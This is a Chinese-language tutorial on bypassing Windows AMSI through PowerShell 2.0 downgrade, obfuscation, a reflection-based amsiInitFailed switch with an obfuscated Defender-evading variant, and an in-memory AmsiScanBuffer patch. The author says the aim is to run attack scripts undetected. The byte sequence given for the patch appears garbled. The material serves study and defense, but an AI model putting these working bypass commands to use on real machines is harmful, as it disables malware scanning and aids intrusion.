AMSI对抗

背景

AMSI(Antimalware Scan Interface)即反恶意软件扫描接口,是微软推出的安全模块。

AMSI实质上是一个DLL文件,位于C:\Windows\System32\amsi.dll,提供了以下接口:

  • AmsiCloseSession:关闭由 AmsiOpenSession 打开的会话。
  • AmsiInitialize :初始化 AMSI API。
  • AmsiNotifyOperation:向反恶意软件提供程序发送任意操作的通知。
  • AmsiOpenSession:打开可在其中关联多个扫描请求的会话。
  • AmsiResultIsMalware:确定扫描结果是否指示应阻止内容。
  • AmsiScanBuffer:扫描缓冲区中的内容中寻找恶意软件。
  • AmsiScanString:扫描字符串中的恶意软件。
  • AmsiUninitialize:删除 AmsiInitialize最初打开的 AMSI API 实例。

powershell.exe会加载amsi.dll
20211013142232jHGMiF

在Windows中,AMSI被集成于以下场景和功能:

  • UAC
  • powershell
  • Windows脚本(cscript、wscript、JavaScript、VBScript)
  • .NET Assembly
  • WMI

对抗方法

1. 降级

默认使用环境:Windows 10

powershell 2.0及以下版本并没有接入AMSI,通过降级即可绕过。

目前常用的操作系统和预装powershell版本如下:

  • Windows Server 2008:1.0
  • Windows 7、Windows Server 2008 R2:2.0
  • Windows Server 2012:3.0
  • Windows Server 2012 R2:4.0
  • Windows 10:5.0

AMSI实际从Windows 10和Windows Server 2016开始默认安装,但是只有Windows 10默认可以降级到2.0,因为2.0的powershell需要.NET2/3/3.5 Runtime支持,Windows 10默认是安装了.NET Framework 3.5的。
这并不绝对,要根据实际环境决定,管理员有可能出于某些工具或服务的需要安装了其他版本的.NET Framework.

无管理员权限时可通过查询注册表来获取安装的.NET Framework版本:

 Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version

有管理员权限可以直接查询是否支持powershell 2.0:

Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 #Windows 10

Get-WindowsFeature PowerShell-V2 #Windows Server 2016

以2.0版本启动powershell:

powershell.exe -v -version 2

或在脚本前添加:

#requires -version 2

之后使用支持2.0的攻击脚本就能不受AMSI干扰。

2. 脚本混淆

AMSI实际上是提供给杀软的接口,混淆实际上是对抗杀软的过程。
需要混淆的点实际上就是敏感的地方,如命令、函数、对象、参数等,常用方法有:

  • 大小写与特殊符号
  • 字符串变换
  • 变量替换
  • 编码
  • ……

3. 关闭AMSI

既然AMSI是接口,那么是否可以让这个接口失效使其不把我们的恶意脚本传递给杀软?
System.Management.Automation.dll进行逆向,可以看到在System.Management.Automation.AmsiUtils类中有一个私有静态变量amsiInitFailed,它在ScanContent中被使用:
20211013114845HqisMH
可以看到这一句:

if (AmsiUtils.amsiInitFailed) 
{
	return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}

amsiInitFailed值为False时会返回AMSI_RESULT_NOT_DETECTED,也就是未检测到,所以通过修改这个值就能达到让AMSI失效的目的。

命令如下:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

目前使用这条命令已经不能关闭AMSI了,应该是在Windows Defender里做了策略:
20211013115838iqTsLS
但实际很好绕过,只需要简单混淆一下即可:

$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils'
$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c))
$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$e.SetValue($null,$true)

4. 内存patch

在AMSI的接口中,这两个的主要功能是扫描恶意软件:AmsiScanBufferAmsiScanString

来看一下AmsiScanString
20211013142545gQn2Jz
实际最终调用的是AmsiScanBuffer,那直接看它就行。

202110131429404u3gct
可以看到许多if进去都是返回0x80070057,根据if的条件推断一下,应该是返回了一个错误值,查询文档可以得知这里返回的是HRESULT错误代码,也就是E _ INVALIDARG,表示一个或多个参数无效。

再看看AmsiScanBuffer原型:

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
);

扫描结果有害还是无害是由result决定的,那么强制让其返回错误结束流程会不会影响结果?动手试一下,不绕过的时候会杀这个字符串:
20211013162222xumBUw
用WinDbg开始调试,看一下AmsiScanBuffer
20211013162541g8N5gn
下面的汇编含义是返回对应的错误码:

mov eax,0x80070057 
ret

转为机器码就是:c380070057b8(小端序翻转)
将机器码填入函数起始地址并测试:
20211013163724mNhuuD

要注意,这里只是绕过了AMSI,文件如果落地,还有可能被杀软干掉,远程加载即可。

参考文章

https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://sec-in.com/article/1115
https://fluidattacks.com/blog/amsi-bypass/